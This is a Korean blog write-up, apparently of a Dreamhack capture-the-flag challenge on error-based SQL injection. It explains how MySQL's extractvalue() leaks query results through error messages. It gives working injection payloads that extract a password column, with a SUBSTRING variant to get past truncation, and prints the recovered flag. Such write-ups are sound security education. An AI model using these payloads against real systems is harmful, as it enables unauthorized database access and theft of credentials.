본문 바로가기

WriteUp/드림핵

error based sql injection

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io

 

문제 설명

 

 

문제 화면

 

 

Error Based SQL Injection 취약점

웹 애플리케이션이 문법적으로 오류가 있는 SQL 쿼리를 데이터베이스에 요청한다면 데이터베이스는 SQL 쿼리를 실행하지 못하고 SQL 쿼리가 왜 틀렸는지 알려주는 오류를 반환해준다.

만일 개발자가 디버깅을 위해 이 오류를 HTTP 응답내에 출력하도록 작성해두고 이를 그대로 방치해두었다면 오류는 일반 사용자도 확인할 수 있게 됩니다.

바로 이 오류 메시지가 필요 이상으로 자세해서 악의적인 사용자에게는 공격에 필요한 정보가 될 수 있다.

 

구문 사용 방법(XPath 방법)

더보기
extractvalue(xml_frag, xpath_expr)

xpath_expr 인수로 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행 결과가 오류 메시지에 포함되는데, 이 점을 이용해 공격을 수행할 수 있다.

두 번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해 concat() 함수를 이용해 콜론(:)을 앞에 추가하고 첫 번째 인수는 임의의 값을 지정하기 위해 rand() 함수를 사용한다. 마지막으로 후속 쿼리를 무효화하기 위해 가장 끝에 주석 문자(--)와 공백 문자(스페이스)를 추가한다.

(0x3a는 콜론의 16진수 표기법)

AND extractvalue(rand(), concat(0x3a, 실행할-SQL-쿼리))-- 

 

출처: https://www.bugbountyclub.com/pentestgym/view/53

 

Error 기반 SQL 인젝션 | Pentest Gym | 버그바운티클럽

오류 기반 SQL Injection이란?오류 기반(Error based) SQL Injection은 주로 데이터베이스에 대한 정보를 획득하기 위해 사용됩니다. SQL의 잘못된 문법

www.bugbountyclub.com

 

소스코드

'를 이용해 구문 작성후 뒷 부분을 주석처리 할 것이다.

 

exploit

init.sql을 보면 DB이름이 users인 것을 확인할 수 있다.

 

flag의 위치

users DB의 user table upw 컬럼에 위치하고 있다.

 

 

LIMIT 0,1를 사용하는 이유: 1개 이상의 row 때문에 하나의 행만 출력하기 위해

 

 

' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,upw) FROM users.user LIMIT 0,1)))--

 

알아낸 정보를 바탕으로 sql문을 삽입하면 플레그의 앞 부분이 출력된다. 

오류 메시지의 출력 글자 수의 제한으로 플레그 값이 중간에 잘린 것으로 추측되었다.

 

' AND extractvalue(rand(),concat(0x3a,(SELECT SUBSTRING(concat(0x3a,upw), 25, 50) FROM users.user LIMIT 0,1)))--

현재 플레그 값은 총 27자가 출력되고, 나는 25자부터 출력했다.

 

플레그 뒷부분

 

처음 값과 합쳐보면 

 

DH{c3968c78840750168774ad951fc98bf788563c4d}이 나온다.

'WriteUp > 드림핵' 카테고리의 다른 글

File Vulnerability Advanced for linux  (0) 2024.05.27
file-download-1  (0) 2024.05.21
command-injection-chatgpt  (0) 2024.04.12
what-is-my-ip  (0) 2024.04.08
simple_sqli  (0) 2024.04.01